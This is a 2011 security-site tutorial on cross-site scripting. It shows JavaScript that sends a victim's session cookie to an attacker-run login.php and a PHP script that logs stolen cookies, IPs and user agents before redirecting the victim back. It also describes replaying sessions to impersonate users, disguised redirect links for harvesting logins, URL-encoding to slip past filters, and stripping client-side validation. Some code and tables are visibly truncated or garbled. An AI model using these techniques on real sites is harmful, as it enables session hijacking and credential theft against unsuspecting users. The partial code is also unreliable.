Security Defenses

Member Login

XSS/XST Attacks

Sunday, 17 July 2011 00:29

Detailed information in attacking and checking web applications for XSS/XST attacks and utilizing remote servers to log and replay information stolen from users. NOT TO BE USED FOR MALICIOUS PURPOSES! function Error() { alert("This form can only contain letters and numbers!"); }

XSS Attacks - Americas Favorite Cookie:

Because in this section we will be utilizing a live test server to demonstrate the effects of XSS attacks, and cookie snatching (and replaying) we'd like to state that the target host; although we cannot mention names will be notified after the information in this section has been completed and up on our web site. Do to the sheer nature of the beast we will only show you input fields, returned data and the injection of parameters within the URI fields. After which, we will then take a look at inspecting server side PHP code to obtain the cookie information, download the cookie and add it to the server -- where we can, at our own leisure download and replay the cookie to impersonate a user.

Our first stop is to identity where one can and will come across the XSS attack schematics. More over, where the information can be placed inside of a target systems web site to return the results we want. Below, is our first stop. A web location which allows us to perform XSS attacks in two areas. To keep things simple we have merged the header and address bar together to provide everything in one viewing. In the example here, we have a few things which are well worth the look at. First, let us show you the example:

In the image above, you can clearly see that we've highlighted 3 key areas. Of the three, only two are relevant. The items labeled "Search Term" and the item labeled: "XSS here too!" Of the later, the "asd" circled only shows you how the form is passing the information to the URI/URL in a POST method. So, this will bring us to a very important question: Where does the XSS markings go? Well, it's quite simple. In our URL we have: Search?action=search&ti=0&pst=&pti=&first=1&st=asd What does this mean? It means the following: On or in the URL / Search field, we can enter any of the following commands that will tell us the form is vulnerable:

Command:	Language:
	PHP
	ASP
alert("XSS TEST USING JAVA");	Java Script

Before we delve directly into modifying the front aspects of the web location; What happens if we hit hurtles? What if the search field contains a max length? Well, we can modify the information and save for the form locally. All we'd have to do is remove the maxlen=# value and it's removed. Then, we'd have to place all the form actions to point to the live server; because if we keep the information modified from the server; it won't do anything. So, assuming that the max length value is not specified; as it's not in this case here is each example performed for you on the URI and on the submit text field:

Demonstrating using the URI/URL injection type (after submission)

Now that we understand that the form is vulnerable to attack, what can an attacker do in this instance? Well, if the attacker was malicious he or she can use the information to discover the cookies. More over, what if this information was for a shopping cart? Better yet, a shopping cart with no SSL/HTTPS. Don't be thinking "This is a gift toss in the mouth!" It's really not. Some sites STILL don't have encryption on MOST forms of this kind. If that's not bad enough, you can also snatch login credentials; and then you can replay those authenticated sessions and gain access to the users account.

Ok, that's great! But, how does the attacker do it?!?! Ok, stop the whining and frustration. We use a simple trick as a javascript window.location tactic to re-direct the user; but before we get into that. Let me show you an example of how to get a session cookie from the form (or at least to see if they set a cookie -- we don't want to attack thin air!). So, now we inject either the java script of the following nature: alert(document.cookie); into the search field or URL and we'd return the following value:

And, now we see a session cookie being displayed. Before we go into stealing this cookie and going through the hassle to re-play it. You should write down some information from the cookie and google it. See what comes up. You may be surprised at what turns up. Anyway, now that we see we have a cookie, we do our famous web re-direct. On a server which supports PHP, we will enter the following code (To test this you need your own locally run web server):

function getit()
{
	createCookie("hackcookie", "32303455", "305");
	window.location="login.php?session="+document.cookie
}
function createCookie(name,value,days) {
if (days) {
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
}
else var expires = "";
	document.cookie = name+"="+value+expires+"; path=/";
	}


function readCookie(name) {
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++) {
	var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
			if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
			}
				return null;
			}
				function eraseCookie(name) {
				createCookie(name,"",-1);
			}

Javascript to load a cookie on form load. When the form cookie is loaded The form will then redirect and submit it's data to:login.php



".$time." = ".$ip."

User Agent: ".$agent."
Referer: ".$referer."
Session: ".$data."


";

$file = fopen("cookiedata.php" , "a");
	fwrite($file,$text);
	fclose($file);
header("Location: http://www.vulnerable.com/document.php");

?>

PHP Code to grab the cookie session and redirect the user back to the vulnerable document.

Although this is one of the many ways to attack a user utilizing a crafted URL and a vulnerable web location, there are other methods in which an attacker can utilize to grab additional files, and information.

Its not a Lie it's a Fib:

Yet another ingenious method an attacker can utilize is a redirect to another web location. Why? Because if we can grab the credentials from that login user; we can not only secure a method into the account, we can also redirect them back to the location they are willing to authenticate to. In, on or around a vulnerable web page (or URI/L), we enter the following code:

If this isn't enough you can lie yet, again! by entering a url like this: http://www.vulnerable.net/request.php. What this will do is, create a link as follows: http://www.vulnerable_site.net/request.php. What you did here was lie to the unsuspecting user, and to the naked eye. Hypothetically speaking, if the "vulnerable_site.net" was in fact vulnerable, and you activated the link; you'd be redirected to a site that looks like "Vulnerable_site.net" -- in a perfect world. However, this is only an example.

Given some locations are quite lax in regards to sanitizing the URL parameters, you can use escape sequences to get some dirty work done for you. This will confuse a user into thinking that it's just one big URL they are visiting free from redirections, and scams. How can we do this? With the following table of escape characters [char codes]:

Character	Escape Sequence	Char Name
Space	%20	Space
#	%23	Sharp
$	%24	Dollar Sign
%	%25	Percent
&	%26	Amper sign
/	%2F	Forward Slash
:	%3A	Colon
;	%3B	Semi-colon
<	%3C	Less Then
=	%3D	Equals
>	%3E	Greater Then
?	%3F	Question Mark
@	%40	At
[	%5B	Left Bracket
\	%5C	Back Slash
]	%5D	Right Bracket
^	%5E	Circumflex Accent
`	%60	Grave Accent
{	%7B	Left Brace
\|	%7C	Pipe
}	%7D	Right Brace
~	%7E	Tilde

Validation of Input:

Okay, so you think or you *thought* that the web application is possibly vulnerable to one of these attacks. However, each time you attempt to submit some script to the remote server; what happens is that you get no where. Why is that? Well, there could be something called field or user input validation going on. This happens because the server should NEVER be willing to trust any input that the client is inserting into parameters, or other field objects. Why not trust the end client? Well, look at what we are trying to accomplish. So, we've decided to include a chart for you ladies and gents on how to actually encode your URL / URI data so that you can encode the information and get what you expect.

Encoding String	Language	Output
%3Cscript%3E	Java Script
%3C/script%3E	Java Script
(%22%22);	Java Script	("");
%3C?php	PHP
?%3E	PHP	?>
%3C%25	ASP	<%
%25%3E	ASP	%>
%3C!--	SSI

Although it shouldn't come as a surprise to you that you can't in many instances include the information we've been posting herein on many forms. Why? Because of validation checks and length issues with each web application. Sometimes, the problems could stem from the fact that you can't really get the information on the form because either the form bounces back and errors saying something like and it just frustrates the hell out of you. How to get around this? Well, the solution can be quite simple. Actually it is quite simple. You'd have to follow the java scripting routines and see what is being called, where it's being called from and just remove the code. Of course; you'll have to save the html files and modify the sources. Either removing the information between the tags: [...] or removing the files which reference an external .js file: . Once you've modified these form attributes; you should now be able to inject your commands into the search fields. Once you've removed the references to the javascript routines, and data simply modify the code to point back to the remote server. When this is finished you can then submit the code you've placed into the text field(s). Now you have full rein over the control of the form.

Additional Uses & tricks:

Considering the information in the above, you don't ALWAYS have to include javascript and write all the script information out on your own. In the example here:

We have inserted the following values in our search request. Basically we've included the javascript src function to include an external javascript file. There are a number of reasons why we would do something like this. The first reason is because we can include FAR more commands within an external JS file, and this is valuable because we never know the URL limit of the target. Why is this important? We don't want to cause a DoS or hit a nerve where a length string is hit and something unintentional happens. The second reason, And, the reason which should be more prevalent is the fact that we can include a VERY LONG javascript file.

The last of the tricks that we will cover here is the mentioning of RFI and LFI (Remote file inclusion and local file inclusion.) What this type of attack accomplishes is, you can include local files (such as /etc/passwd) or include remote files (running scripts from your site via php to gain control of the web location). However, RFI and LFI attacks and techniques will be covered in other documentation.